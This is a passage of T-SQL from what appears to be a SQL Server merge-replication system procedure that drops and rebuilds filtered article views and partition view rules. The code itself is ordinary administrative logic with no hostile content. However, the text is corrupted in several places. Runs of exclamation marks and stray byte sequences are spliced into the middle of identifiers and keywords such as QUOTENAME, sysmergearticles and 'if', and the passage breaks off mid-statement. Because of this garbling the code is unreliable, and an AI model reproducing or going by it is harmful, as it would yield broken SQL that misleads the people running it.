    if @snapshot_ready = 1 and @force_flag = 0
        return (0)

    -- If the snapshot is not ready and calling code is running sp_MSpublication_view in article mode and not pub-wide mode
    -- then force the behaviour to the pub-wide mode 
    if @snapshot_ready <> 1 and @force_flag = 2
        set @force_flag = 1
        
    exec @retcode = sys.sp_MSguidtostr @pubid, @pubidstr out
    if @@ERROR <>0 OR @retcode <>0 return (1)

    create table #art(indexcol int identity NOT NULL, art_nick int NOT NULL, article_level int NOT NULL)
    if @@ERROR <> 0
    begin
        goto FAILURE
    end


    begin tran
    save tran sp_MSpublicationview
    
    while @progress > 0
    BEGIN
        /*
        ** Select articles that have either a boolean_filter or at least one join filter 
        ** into a temp table in an optimized order.
        */

        -- This inserts into #art the article levels of all articles.
        insert into #art(art_nick, article_level) select nickname, @article_level from dbo.sysmergearticles 
            where pubid=@pubid and nickname not in (select art_nick from #art)
                and nickname not in 
                (select     art_nickname from dbo.sysmergesubsetfilters
                    where pubid=@pubid and (filter_type & 1) = 1 and join_nickname not in 
                        (select art_nick from #art))
        /*
        ** NOTENOTE: add error checking here.
        */

        set @progress = @@rowcount
        select @article_level = @article_level + 1
    END

    /* 
    ** When the force_flag is 2, sp_MSpublicationview is being invoked from code paths such as DDL - ADD/DROP/ALTER COLUMN 
    ** and sp_repladdcolumn/sp_repldropcolumn - In that case - prune the #art table by removing nicknames that are not related
    ** to the article name that is passed int
    */
    if (@force_flag = 2)
    begin
    	select @art_nick = nickname from dbo.sysmergearticles 
            where pubid=@pubid and name = @articlename
        delete from #art where art_nick not in (select distinct nickname from sys.fn_MSdetermine_related_articles(@art_nick))        
    end
    select @art_nick = NULL

    -- Views for a particular article are being recreated only.
    if (@force_flag = 2)
    begin
        select @art_nick = nickname, @artid = artid from dbo.sysmergearticles where pubid=@pubid and name = @articlename 
        if (@art_nick is NOT NULL)
        begin
            /* Drop the old view */
            select @viewname = OBJECT_NAME (sync_objid), 
                    @before_viewname = OBJECT_NAME(before_view_objid),
                    @partition_view_name = OBJECT_NAME(partition_view_id),
                    @logical_record_view = object_name(logical_record_view)
                from dbo.sysmergepartitioninfoview where
                pubid = @pubid and nickname = @art_nick
                
            if @viewname IS NOT NULL
            begin
                select @quoted_obj = QUOTENAME(@viewname)
                exec ('drop view ' + @quoted_obj)
            end
            if @before_viewname IS NOT NULL
            begin
                select @quoted_obj = QUOTENAME(@before_viewname)
                exec ('drop view ' + @quoted_obj)
            end

            if @partition_view_name is not null
            begin
                select @quoted_partition_view = QUOT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(B$
v$<ENAME(@partition_view_name)
                exec ('drop view ' + @quoted_partition_view)
            end

            if object_id(@logical_record_view) is not NULL
				and not exists (select * from sysmergepartitioninfo where logical_record_view = object_id(@logical_record_view)
					and pubid <> @pubid)
            begin
                select @quoted_obj = QUOTENAME(@logical_record_view)
                exec ('drop view ' + @quoted_obj)
            end

            /* Update the row in dbo.sysmergearticles */
            update dbo.sysmergearticles set view_type = 0, 
                sync_objid = objid,
                before_view_objid = NULL
                where pubid = @pubid and nickname = @art_nick
            if @@ERROR <> 0 goto FAILURE
            
            update dbo.sysmergepartitioninfo 
                set partition_view_id = NULL,
                partition_deleted_view_rule = NULL,
                partition_inserted_view_rule = NULL,
                logical_record_view = NULL,
                logical_record_parent_nickname = NULL,
                logical_record_deleted_view_rule = NULL
                where pubid = @pubid and artid = @artid
            if @@ERROR <> 0 goto FAILURE
        end
    end
    else
    begin 
        /* Drop the old views and reset sync_objid */
        select top 1 @art_nick = nickname, @artid = artid from dbo.sysmergearticles 
            where pubid = @pubid and objid<>sync_objid
            order by nickname
        while @art_nick is not null
        begin
            /* Drop the old view */
            select @viewname = OBJECT_NAME (sync_objid), 
                    @before_viewname = OBJECT_NAME(before_view_objid),
                    @partition_view_name = OBJECT_NAME(partition_view_id),
                    @logical_record_view = object_name(logical_record_view)
                from dbo.sysmergepartitioninfoview where
                pubid = @pubid and nickname = @art_nick
                
            if @viewname IS NOT NULL
            begin
                select @quoted_obj = QUOTENAME(@viewname)
                exec ('drop view ' + @quoted_obj)
            end
            if @before_viewname IS NOT NULL
            begin
                select @quoted_obj = QUOTENAME(@before_viewname)
                exec ('drop view ' + @quoted_obj)
            end

            if @partition_view_name is not null
            begin
                select @quoted_partition_view = QUOTENAME(@partition_view_name)
                exec ('drop view ' + @quoted_partition_view)
            end

            if object_id(@logical_record_view) is not NULL
                and not exists (select * from sysmergepartitioninfo where logical_record_view = object_id(@logical_record_view)
                    and pubid <> @pubid)
            begin
                select @quoted_obj = QUOTENAME(@logical_record_view)
                exec ('drop view ' + @quoted_obj)
            end

            /* Update the row in dbo.sysmergearticles */
            update dbo.sysmergearticles set view_type = 0, 
                sync_objid = objid,
                before_view_objid = NULL
                where pubid = @pubid and nickname = @art_nick
            if @@ERROR <> 0 goto FAILURE
            
            update dbo.sysmergepartitioninfo 
                set partition_view_id = NULL,
                partition_deleted_view_rule = NULL,
                partition_inserted_view_rule = NULL,
                logical_record_view = NULL,
                logical_record_parent_nickname = NULL,
                logical_record_deleted_view_rule = NULL
                where pubid = @pubid and artid = @artid
            if @@ERROR <> 0 goto FAILURE

            select @art_nick = NULL, @artid = NULL
            /* Find the next one */
            select top 1 @art_nick = nickname, @artid = artid from dbo.sysmergearticles 
            where pubid = @pubid and objid<>sync_objid
            order by nickname
        end
    end

    -- do the following only after all tables have been "activated" i.e. rowguid column has been added
    -- basically this proc gets calls twice from the snapshot agent. Once before rowguidcols are present
    -- and once after the rowguid columns have been created. We want the partition groups related setup
    -- to happen only afte rowguidcols have been established.
    select @art_nick = min(nickname) from dbo.sysmergearticles where pubid = @pubid
    while @art_nick is not null
    begin
        select @objid = objid from dbo.sysmergearticles where pubid = @pubid and nickname = @art_nick
        if not exists (select name from sys.columns where object_id=@objid and is_rowguidcol=1)
            set @allhaveguids    = 0
        select @art_nick = min(nickname) from dbo.sysmergearticles where pubid = @pubid and nickname > @art_nick
    end
    if @allhaveguids = 1
    begin
        exec @retcode = sys.sp_MSsetup_use_partition_groups @publication
        if @retcode <> 0 or @@error <> 0 
            goto FAILURE
        select @use_partition_groups = use_partition_groups from dbo.sysmergepublications where pubid = @pubid
    end
    
    if (@use_partition_groups = 1)
    begin
        create table #list_of_functions (function_name_with_parens nvarchar(500), function_name_without_parens sysname)
        exec @retcode = sp_MSsetup_function_list_table @pubid
        if @retcode <> 0 or @@error <> 0 goto FAILURE
    end

    set @art = 0
    select @art=min(indexcol) from #art where indexcol>@art

    while (@art is not null)
    begin
        select @art_nick=art_nick, @article_level = article_level from #art 
                where indexcol = @art
        select @article = name, @artid = artid, @columns = columns, @source_objid = objid,
            @sync_objid = sync_objid, @procname = view_sel_proc, 
            @partition_view_id = partition_view_id
            from dbo.sysmergepartitioninfoview 
            where nickname=@art_nick and pubid = @pubid

        -- first create the before image table if one is needed
        exec @retcode = sys.sp_MScreatebeforetable @source_objid
        if @@error <> 0 or @retcode <> 0
            goto FAILURE
        select @before_objid = before_image_objid
            from dbo.sysmergepartitioninfoview 
            where nickname=@art_nick and pubid = @pubid
                
        exec @retcode = sys.sp_MSgetcolumnlist @pubid, @column_list OUTPUT, @source_objid
        
        exec @retcode = sys.sp_MSgetfiltercolumnlist @pubid, @partition_column_list OUTPUT, @source_objid
        if @@error <> 0 or @retcode <> 0
            goto FAILURE
        
        set @before_name = OBJECT_NAME(@before_objid)
        if @before_name is not null
        begin
            select @before_rowguidname=name from sys.columns where object_id=@source_objid and is_rowguidcol=1
            exec @retcode = sys.sp_MSguidtostr @pubid, @guidstr out
            set @before_viewname = @before_name + '_v_' + @guidstr
        end
        else
            set @before_viewname = NULL
        
        -- Owner-qualify the name for perf (less recompiles). 
        select @before_name = QUOTENAME(SCHEMA_NAME(schema_id)) + '.' + QUOTENAME(OBJECT_NAME(@before_objid))
            from sys.objects where object_id = @before_objid
            
        exec @retcode = sys.sp_MSguidtostr @artid, @guidstr out
        if @@ERROR <>0 OR @retcode <>0 goto FAILURE

        select @source_object = QUOTENAME(SCHEMA_NAME(schema_id)) + '.' + QUOTENAME(name) from sys.objects 
                where object_id = @source_objid 
        select @unqual_sourcename = QUOTENAME(OBJECT_NAME(@source_objid))
        select @unqual_sourcename2 = sys.fn_replreplacesinglequote(@source_object)
        
        select @bool_filterclause=subset_filterclause, @vertical_partition=vertical_partition 
            from dbo.sys!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Bf
v$<mergearticles where name = @article and pubid = @pubid

        -- verify the syntax of boolean filter, if added with vertical-partition to true
        -- in this case, the filter clause can contain columns that do not exist in the partition.
        if len(@bool_filterclause) > 0
        begin
            select @bool_filterclause = ' (' + @bool_filterclause + ') '
            
        end
                
        set @rgcol = NULL
        select @rgcol = QUOTENAME(name) from sys.columns where object_id = @source_objid and
                is_rowguidcol = 1
        if @rgcol is not NULL
            set @hasguid = 1
        else 
        begin
            set @hasguid = 0
            set @allhaveguids = 0
        end

        /*
        ** Process non looping articles that have either a boolean or a join_filter.
        */
        if ( @article_level > 0 OR (len(@bool_filterclause) > 0) ) 
        begin
            /*
            ** If the article has a previously generated view, then drop the view before 
            ** creating the new one.
            */
            set @partition_view_name = NULL
            select @partition_view_name = name from sys.objects where object_id = @partition_view_id and type = 'V' and is_ms_shipped = 1 
            if @partition_view_name IS NOT NULL
            begin
                select @quoted_partition_view = QUOTENAME(@partition_view_name)
                exec ('drop view ' + @quoted_partition_view)
                if @@ERROR<>0 goto FAILURE
            end

            set @viewname = NULL
            select @viewname = name from sys.objects where object_id = @sync_objid and type='V' and is_ms_shipped = 1 
            if @viewname IS NOT NULL
            begin
                select @quoted_obj = QUOTENAME(@viewname)
                exec ('drop view ' + @quoted_obj)
                if @@ERROR<>0 goto FAILURE
            end
            
            /*
            ** Any join filter(s)? If any, process join filter(s)
            */
            if (@article_level > 0) 
            begin
                declare pub1 CURSOR LOCAL FAST_FORWARD FOR select join_filterclause, join_nickname, join_articlename,
                    join_unique_key, join_filterid from dbo.sysmergesubsetfilters where pubid=@pubid and artid=@artid and (filter_type & 1)=1
                    FOR READ ONLY
                open pub1                                        
                fetch pub1 into @join_filterclause, @join_nick, @join_articlename, @join_unique_key, @join_filterid
                select @join_filterclause=' ( ' + @join_filterclause + ') '
                select @unqual_jointable = QUOTENAME(name) from sys.objects 
                    where object_id = (select objid from dbo.sysmergearticles where name=@join_articlename and pubid=@pubid) 

                select @join_viewname = NULL, @joinart_partition_view_name = NULL, @join_before_view = NULL
                
                if @max_network_optimization = 0
                    select @join_view_id = sync_objid,
                        @join_before_view_id = before_image_objid,
                        @joinart_partition_view_id = partition_view_id
                        from dbo.sysmergepartitioninfoview where nickname = @join_nick and pubid = @pubid
                else
                    select @join_view_id = sync_objid,
                        @join_before_view_id = case when before_view_objid is null then before_image_objid else before_view_objid end,
                        @joinart_partition_view_id = partition_view_id
                        from dbo.sysmergepartitioninfoview where nickname = @join_nick and pubid = @pubid
                    
                -- Owner qualify the names for perf (less recompilations).
                select @join_viewname = QUOTENAME(SCHEMA_NAME(schema_id)) + '.' + QUOTENAME(object_name(@join_view_id))
                    from sys.objects where object_id = @join_view_id
                    
                select @joinart_partition_view_name = QUOTENAME(SCHEMA_NAME(schema_id)) + '.' + QUOTENAME(object_name(@joinart_partition_view_id))
                    from sys.objects where object_id = @joinart_partition_view_id
                    
                select @join_before_view = QUOTENAME(SCHEMA_NAME(schema_id)) + '.' + QUOTENAME(object_name(@join_before_view_id))
                    from sys.objects where object_id = @join_before_view_id
                    
                -- if the parent-child relationship is one-many, AND there is only one parent, and if the child
                -- itself doesn't have any boolean filters, then use the simple view.
                if (@join_unique_key = 1 and (@bool_filterclause is null or len(@bool_filterclause) = 0) and
                    not exists (select * from dbo.sysmergesubsetfilters where pubid=@pubid and artid=@artid and join_filterid <> @join_filterid and (filter_type & 1) = 1))
                begin
                    set @simple_join_view = 1
                    
                    if @column_list = ' * '
                        select @column_list = ' ' + @unqual_sourcename + '.* '
                    
                    set @view_rule = 'select ' + @column_list + ' from ' + @source_object + ' ' + @unqual_sourcename + ' , ' +    @join_viewname + ' ' + @unqual_jointable + ' where ' + @join_filterclause + 
                                     ' and ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1)'
                                     
                    if @joinart_partition_view_name is not null and @use_partition_groups = 1
                    begin
                        set @partition_view_rule = 'select ' + @partition_column_list + ', ' + @unqual_jointable + '.' + 'partition_id from ' + @source_object + ' ' + @unqual_sourcename + ' , ' +  @joinart_partition_view_name + ' ' + @unqual_jointable + ' where (' + @join_filterclause +    
                                                    ') and ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1 
                                                    or (HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''SELECT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''UPDATE'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''INSERT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''DELETE''))=1)'
                        set @partition_deleted_view_rule = 'select ' + @partition_column_list + ', ' + @unqual_jointable + '.' + 'partition_id from deleted ' + @unqual_sourcename + ' , ' +  @joinart_partition_view_name + ' ' + @unqual_jointable + ' where (' + @join_filterclause + ')'
                        set @partition_inserted_view_rule = 'select ' + @partition_column_list + ', ' + @unqual_jointable + '.' + 'partition_id from inserted ' + @unqual_sourcename + ' , ' +     @joinart_partition_view_name + ' ' + @unqual_jointable + ' where  (' + @join_filterclause + ')'
                    end
                end
                else
                begin
                    set @simple_join_view = 0
                    
                    /* Alias the source object with the unqualified name and use that to select the rowguidcol */                    
                    set @view_rule = 'select ' + @unqual_sourcename + '.rowguidcol from ' + @source_object    + ' ' + @unqual_sourcename + ' , ' +  @join_viewname + ' ' + @unqual_jointable + ' where ' + @join_filterclause +
                                     ' and ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1)'

                    if @column_list = ' * '
                        select @column_list = ' ' + @unqual_sourcename + '.* '

                    i!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(B~v$<f @joinart_partition_view_name is not null and @use_partition_groups = 1
                    begin
                        set @partition_view_rule = 'select ' + @partition_column_list + ', ' + @unqual_jointable + '.' + 'partition_id from ' + @source_object + ' ' + @unqual_sourcename + ' , ' +  @joinart_partition_view_name + ' ' + @unqual_jointable + ' where (' + @join_filterclause + 
                                                    ') and ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1  
							   or (HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''SELECT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''UPDATE'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''INSERT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''DELETE''))=1)'
                        set @partition_deleted_view_rule = 'select ' + @partition_column_list + ', ' + @unqual_jointable + '.' + 'partition_id from deleted ' + @unqual_sourcename + ' , ' +  @joinart_partition_view_name + ' ' + @unqual_jointable + ' where (' + @join_filterclause + ')'
                        set @partition_inserted_view_rule = 'select ' + @partition_column_list + ', ' + @unqual_jointable + '.' + 'partition_id from inserted ' + @unqual_sourcename + ' , ' +     @joinart_partition_view_name + ' ' + @unqual_jointable + ' where  (' + @join_filterclause + ')'
                    end
                end
                
                if @before_name is not null
                begin
                    set @before_view_rule = 'select * from ' + @before_name + ' ' +     @unqual_sourcename + ' where (exists (select * from ' +
                        @join_viewname + ' ' + @unqual_jointable + ' where ' + @join_filterclause + ') ' 
                    if @join_before_view is not NULL
                        set @before_view_rule = @before_view_rule + ' or exists (select * from ' +
                                @join_before_view + ' ' + @unqual_jointable + ' where ' + @join_filterclause + ')'
                end
                                
                fetch next from pub1 into @join_filterclause, @join_nick, @join_articlename, @join_unique_key, @join_filterid
                WHILE (@@fetch_status <> -1)
                begin
                    select @join_filterclause=' ( ' + @join_filterclause + ') '
                    
                    select @unqual_jointable= quotename(name)
                                                from sys.objects 
                                                where object_id = (select objid from dbo.sysmergearticles where name=@join_articlename and pubid=@pubid) 
                
                    select @join_viewname = NULL, @joinart_partition_view_name = NULL, @join_before_view = NULL
                    
                    if @max_network_optimization = 0
                        select @join_view_id = sync_objid,
                            @join_before_view_id = before_image_objid,
                            @joinart_partition_view_id = partition_view_id
                            from dbo.sysmergepartitioninfoview 
                            where nickname = @join_nick and pubid = @pubid
                    else
                        select @join_view_id = sync_objid,
                            @join_before_view_id = case when before_view_objid is null then before_image_objid else before_view_objid end,
                            @joinart_partition_view_id = partition_view_id
                            from dbo.sysmergepartitioninfoview 
                            where nickname = @join_nick and pubid = @pubid
                        
                    -- Owner qualify the names for perf (less recompilations).
                    select @join_viewname = QUOTENAME(SCHEMA_NAME(schema_id)) + '.' + QUOTENAME(object_name(@join_view_id))
                        from sys.objects where object_id = @join_view_id
                        
                    select @joinart_partition_view_name = QUOTENAME(SCHEMA_NAME(schema_id)) + '.' + QUOTENAME(object_name(@joinart_partition_view_id))
                        from sys.objects where object_id = @joinart_partition_view_id
                        
                    select @join_before_view = QUOTENAME(SCHEMA_NAME(schema_id)) + '.' + QUOTENAME(object_name(@join_before_view_id))
                        from sys.objects where object_id = @join_before_view_id
                
                    set @view_rule = @view_rule + ' union select ' + @unqual_sourcename + '.rowguidcol from ' + @source_object + ' ' + @unqual_sourcename + ', ' +     @join_viewname + ' ' + @unqual_jointable + ' where ' + @join_filterclause +
                                    ' and ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1)'
                                    
                    if @before_name is not null
                    begin
                        set @before_view_rule = @before_view_rule + ' or exists (select * from ' +
                                @join_viewname + ' ' + @unqual_jointable + ' where ' + @join_filterclause + ') '
                        if @join_before_view is not NULL
                            select @before_view_rule = @before_view_rule + ' or exists (select * from ' +
                                    @join_before_view + ' ' + @unqual_jointable + ' where ' + @join_filterclause + ') '
                    end

                    if @column_list = ' * '
                        select @column_list = ' ' + @unqual_sourcename + '.* '
                    
                    if @joinart_partition_view_name is not null and @use_partition_groups = 1
                    begin
                        set @partition_view_rule = @partition_view_rule + ' union select ' + @partition_column_list + ', ' + @unqual_jointable + '.' + 'partition_id from ' + @source_object + ' ' + @unqual_sourcename + ' , ' +    @joinart_partition_view_name + ' ' + @unqual_jointable + ' where (' + @join_filterclause +
                                                    ') and ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1 or 
							   (HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''SELECT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''UPDATE'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''INSERT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''DELETE''))=1)'

                        set @partition_deleted_view_rule = @partition_deleted_view_rule + ' union select ' + @partition_column_list + ', ' + @unqual_jointable + '.' + 'partition_id from deleted ' + @unqual_sourcename + ' , ' +     @joinart_partition_view_name + ' ' + @unqual_jointable + ' where (' + @join_filterclause + ')'
                        set @partition_inserted_view_rule = @partition_inserted_view_rule + ' union select ' + @partition_column_list + ', ' + @unqual_jointable + '.' + 'partition_id from inserted ' + @unqual_sourcename + ' , ' +    @joinart_partition_view_name + ' ' + @unqual_jointable + ' where  (' + @join_filterclause + ')'
                    end
                 
                    fetch next from pub1 into @join_filterclause, @join_nick, @join_articlename, @join_unique_key, @join_filterid
                end 
                
                close pub1
                deallocate pub1
                        
                if len(@bool_filterclause) > 0
                begin
                    set @view_rule = @view_rule + ' union select ' + @unqual_sourcename + '.rowguidcol from ' + @source_object + ' !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(B#v$<' + @unqual_sourcename + ' where '+ @bool_filterclause +
                                    ' and ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1)'
                  
                    if @before_name is not null
                        set @before_view_rule = @before_view_rule + ' or ' + @bool_filterclause

                    -- Determine if this boolean filter on this article in this publication has a dynamic filter in it.
                    -- If it does, then join with dbo.dbo.MSmerge_partition_groups with the WHERE boolean filter clause replacing 
                    -- all instances of function calls with msp.<column name>. If it doesn't, use a hard-coded -1 for the partition id,
                    -- e.g. select <column list>, -1 from table where bool filter clause.                 
                    if @use_partition_groups = 1
                    begin
                        if @column_list = ' * '
                            select @column_list = ' ' + @unqual_sourcename + '.* '

                        if exists (select * from #list_of_functions 
                                    where REPLACE(REPLACE(REPLACE(REPLACE(UPPER(@bool_filterclause collate SQL_Latin1_General_CP1_CS_AS), char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),'')
                                    like '%' + UPPER(function_name_with_parens) + '%'
                                    and sys.fn_MSisfilteredcolumn(UPPER(@bool_filterclause), UPPER(function_name_without_parens), NULL) = 1)
                        begin
                            set @partition_view_rule = @partition_view_rule + ' union select ' + @partition_column_list + ', msp.partition_id from ' + @source_object + ' ' + @unqual_sourcename + ' , dbo.MSmerge_partition_groups msp where (msp.publication_number = ' + convert(nvarchar, @publication_number) + ' and ' 
                            set @partition_deleted_view_rule = @partition_deleted_view_rule + ' union select ' + @partition_column_list + ', msp.partition_id from deleted ' + @unqual_sourcename + ' , dbo.MSmerge_partition_groups msp where (msp.publication_number = ' + convert(nvarchar, @publication_number) + ' and ' 
                            set @partition_inserted_view_rule = @partition_inserted_view_rule + ' union select ' + @partition_column_list + ', msp.partition_id from inserted ' + @unqual_sourcename + ' , dbo.MSmerge_partition_groups msp where  (msp.publication_number = ' + convert(nvarchar, @publication_number) + ' and ' 
                            exec @retcode = sys.sp_MSmodify_boolfilterclause @bool_filterclause, @bool_filterclause_modified OUTPUT
                            set @bool_filterclause_modified= '(' + @bool_filterclause_modified + ')'
                            if @retcode <> 0 or @@error <> 0
                                goto FAILURE
                            set @partition_view_rule = @partition_view_rule + @bool_filterclause_modified +
                                                    ') and ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1 							   
                                                    or (HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''SELECT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''UPDATE'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''INSERT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''DELETE''))=1)'
                            set @partition_deleted_view_rule = @partition_deleted_view_rule + @bool_filterclause_modified + ')'
                            set @partition_inserted_view_rule = @partition_inserted_view_rule + @bool_filterclause_modified + ')'
                        end
                        else
                        begin
                            set @partition_view_rule = @partition_view_rule + ' union select ' + @partition_column_list + ', partition_id = -1 from ' + @source_object + ' ' + @unqual_sourcename + ' where ('+ @bool_filterclause +
                                                    ') and ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1 
							   or (HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''SELECT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''UPDATE'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''INSERT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''DELETE''))=1)'

                            set @partition_deleted_view_rule = @partition_deleted_view_rule + ' union select ' + @partition_column_list + ', partition_id = -1 from deleted ' + @unqual_sourcename + ' where ('+ @bool_filterclause + ')'
                            set @partition_inserted_view_rule = @partition_inserted_view_rule + ' union select ' + @partition_column_list + ', partition_id = -1 from inserted ' + @unqual_sourcename + ' where  ('+ @bool_filterclause + ')'
                        end 
                    end
                end     
                -- Now do the actual view rule as a semi-join, if not a simple join on unique key
                if (@simple_join_view = 0)
                begin
                    /* 
                    ** Generate a unique alias for the outer select to make sure that it does not generate an
                    ** ambiguous reference with table names used in the join_filter clause 
                    */
                    set @alias_for_sourceobject = 'alias_' + @guidstr
                    exec @retcode = sys.sp_MSgetcolumnlist @pubid, @prefixed_column_list OUTPUT, @source_objid, @alias_for_sourceobject
                    set @view_rule = 'select ' + @prefixed_column_list + ' from ' + @source_object + ' ' + @alias_for_sourceobject + ' where rowguidcol in (' + @view_rule + ')' +
                                    ' and ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1)'
                    
                end
            end
            else  /* boolean filter only */
            begin
                select @view_rule = ' select ' + @column_list + ' from '+ @source_object + ' ' + @unqual_sourcename + ' where '+ @bool_filterclause +
                                        ' and ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1)'

                if @before_name is not null
                    set @before_view_rule = ' select * from ' + @before_name + ' ' + @unqual_sourcename + ' where (' + @bool_filterclause

                -- Determine if this boolean filter on this article in this publication has a dynamic filter in it.
                -- If it does, then join with dbo.MSmerge_partition_groups with the WHERE boolean filter clause replacing 
                -- all instances of function calls with msp.<column name>. If it doesn't, use a hard-coded -1 for the partition id,
                -- e.g. select <column list>, -1 from table where bool filter clause.
                if @use_partition_groups = 1
                begin
                    if @column_list = ' * '
                        select @column_list = ' ' + @unqual_sourcename + '.* '

                    if exists (select * from #list_of_functions 
                                where REPLACE(REPLACE(REPLACE(REPLACE(UPPER(@bool_filterclause collate SQL_Latin1_General_CP1_CS_AS), char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),'')
                                like '%' + UPPER(function_name_with_parens) + '%'
                                and sys.fn_MSisfilteredcolumn(UPPER(@bool_filterclause), UPPER(function_name_without_parens), NULL) = 1 )
                         !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
9C
7wf$<h>8^}p !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(B,v$<       
                    begin
                        set @partition_view_rule = ' select ' + @partition_column_list + ', msp.partition_id from ' + @source_object + ' ' + @unqual_sourcename + ' , dbo.MSmerge_partition_groups msp where (msp.publication_number = ' + convert(nvarchar, @publication_number) + ' and ' 
                        set @partition_deleted_view_rule = ' select ' + @partition_column_list + ', msp.partition_id from deleted ' + @unqual_sourcename + ' , dbo.MSmerge_partition_groups msp where (msp.publication_number = ' + convert(nvarchar, @publication_number) + ' and ' 
                        set @partition_inserted_view_rule = ' select ' + @partition_column_list + ', msp.partition_id from inserted ' + @unqual_sourcename + ' , dbo.MSmerge_partition_groups msp where  (msp.publication_number = ' + convert(nvarchar, @publication_number) + ' and ' 
                        exec @retcode = sys.sp_MSmodify_boolfilterclause @bool_filterclause, @bool_filterclause_modified OUTPUT
                        set @bool_filterclause_modified= '(' + @bool_filterclause_modified + ')'
                        if @retcode <> 0 or @@error <> 0
                            goto FAILURE
                        set @partition_view_rule = @partition_view_rule + @bool_filterclause_modified +
                                                    ') and ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1 
							   or (HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''SELECT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''UPDATE'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''INSERT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''DELETE''))=1)'                                                    
                        set @partition_deleted_view_rule = @partition_deleted_view_rule + @bool_filterclause_modified +  ')'
                        set @partition_inserted_view_rule = @partition_inserted_view_rule + @bool_filterclause_modified + ')'
                    end
                    else
                    begin
                        set @partition_view_rule = ' select ' + @partition_column_list + ', partition_id = -1 from ' + @source_object + ' ' + @unqual_sourcename + ' where ('+ @bool_filterclause +
                                                    ') and ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1
							   or (HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''SELECT'')
